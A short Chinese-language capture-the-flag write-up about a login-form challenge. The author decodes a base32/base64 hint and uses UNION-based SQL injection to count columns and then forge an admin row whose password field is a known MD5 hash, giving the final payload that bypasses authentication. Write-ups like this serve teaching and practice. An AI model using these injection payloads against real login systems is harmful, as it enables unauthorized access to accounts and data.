今天这道题很有意思,记录一下,我刚开始以为是时间盲注,都把它的数据库注出来了,但后来发现进行不下去了(发现自己思路错了),警告自己要注意细节(切记base32编码)
题目
题目是一个登录框
先抓个包看一下
返回包中有一串字符,像是base32编码的特征
先进行base32解码
再进行base64解码
分析
告诉了一个username字段
我们先来查看一下它有几个字段
1‘ union select 1,2,3#
发现有3个字段
将用户名放在第二列,回显wrong pass!,找到用户名在第二列
1‘ union select 1,‘admin‘,3#
接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据
首先可以看到该表只有2个用户
然后输入语句
select * from test union select 1,‘admin‘,‘123456‘;
发现可以写入到表里
通过这样的方式,我们就可以用构造payload
name=1‘ union select 1,‘admin‘,‘e10adc3949ba59abbe56e057f20f883e‘#&pw=123456